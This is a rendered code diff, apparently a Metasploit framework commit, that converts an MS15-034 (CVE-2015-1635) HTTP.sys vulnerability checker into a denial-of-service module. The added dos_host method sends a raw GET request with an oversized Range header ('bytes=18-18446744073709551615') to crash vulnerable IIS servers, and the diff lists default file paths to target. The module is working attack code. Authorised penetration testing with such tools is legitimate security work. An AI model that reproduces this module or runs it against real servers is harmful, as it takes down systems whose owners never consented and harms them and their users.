7
7
8
8
class Metasploit3 < Msf ::Auxiliary
9
9
10
+ # Watch out, dos all the things
10
11
include Msf ::Auxiliary ::Scanner
11
12
include Msf ::Exploit ::Remote ::HttpClient
13
+ include Msf ::Auxiliary ::Dos
12
14
13
15
def initialize ( info = { } )
14
16
super ( update_info ( info ,
15
- 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Vulnerability ' ,
17
+ 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service ' ,
16
18
'Description' => %q{
17
19
This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
18
20
vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
19
- execution. Please note this module could potentially cause a denail-of-service against
20
- the servers you're testing.
21
+ execution. This module will try to cause a denail-of-service.
22
+
23
+ Please note that you must supply a valid file resource for the TARGETURI option.
24
+ By default, IIS may come with these settings that you could try: iisstart.htm,
25
+ welcome.png, iis-85.png, etc.
21
26
} ,
22
27
'Author' =>
23
28
[
24
- 'Bill Finlayson' , # He did all the work (see the pastebin code), twitter: @hectorh56193716
25
- 'sinn3r' # MSF version of bill's work
29
+ # Bill did all the work (see the pastebin code), twitter: @hectorh56193716
30
+ 'Bill Finlayson' ,
31
+ # MSF. But really, these people made it happen:
32
+ # https://github.com/rapid7/metasploit-framework/pull/5150
33
+ 'sinn3r'
26
34
] ,
27
35
'References' =>
28
36
[
29
37
[ 'CVE' , '2015-1635' ] ,
30
38
[ 'MSB' , 'MS15-034' ] ,
31
- [ 'URL' , 'http://pastebin.com/ypURDPc4' ]
39
+ [ 'URL' , 'http://pastebin.com/ypURDPc4' ] ,
40
+ [ 'URL' , 'https://github.com/rapid7/metasploit-framework/pull/5150' ]
32
41
] ,
33
42
'License' => MSF_LICENSE
34
43
) )
35
44
36
45
register_options (
37
46
[
38
- OptString . new ( 'TARGETURI' , [ true , 'The base path ' , '/' ] )
47
+ OptString . new ( 'TARGETURI' , [ true , 'A valid file resource ' , '/welcome.png ' ] )
39
48
] , self . class )
40
49
41
50
deregister_options ( 'RHOST' )
42
51
end
43
52
44
53
def run_host ( ip )
45
- code = check_host ( ip )
46
- case code
47
- when Exploit ::CheckCode ::Vulnerable
48
- print_good ( "#{ ip } :#{ rport } - #{ code . last } " )
54
+ if check_host ( ip ) == Exploit ::CheckCode ::Vulnerable
55
+ dos_host ( ip )
49
56
else
50
- print_status ( "#{ ip } :#{ rport } - #{ code . last } " )
57
+ print_status ( "#{ ip } :#{ rport } - Probably not vulnerable, will not dos it." )
58
+ end
59
+ end
60
+
61
+ def dos_host ( ip )
62
+ # In here we have to use Rex because if we dos it, it causes our module to hang too
63
+ uri = normalize_uri ( target_uri . path )
64
+ begin
65
+ cli = Rex ::Proto ::Http ::Client . new ( ip )
66
+ cli . connect
67
+ req = cli . request_raw ( {
68
+ 'uri' => uri ,
69
+ 'method' => 'GET' ,
70
+ 'vhost' => 'stuff' ,
71
+ 'headers' => {
72
+ 'Range' => 'bytes=18-18446744073709551615'
73
+ }
74
+ } )
75
+ cli . send_request ( req )
76
+ rescue ::Errno ::EPIPE , ::Timeout ::Error
77
+ # Same exceptions the HttpClient mixin catches
51
78
end
79
+ print_status ( "#{ ip } :#{ rport } - DOS request sent" )
52
80
end
53
81
54
82
def check_host ( ip )
@@ -62,7 +90,7 @@ def check_host(ip)
62
90
end
63
91
64
92
if res . code == 404
65
- print_error ( "#{ ip } :#{ rport } - URI must be a valid resource" )
93
+ vprint_error ( "#{ ip } :#{ rport } - You got a 404. URI must be a valid resource. " )
66
94
return
67
95
end
68
96
0 commit comments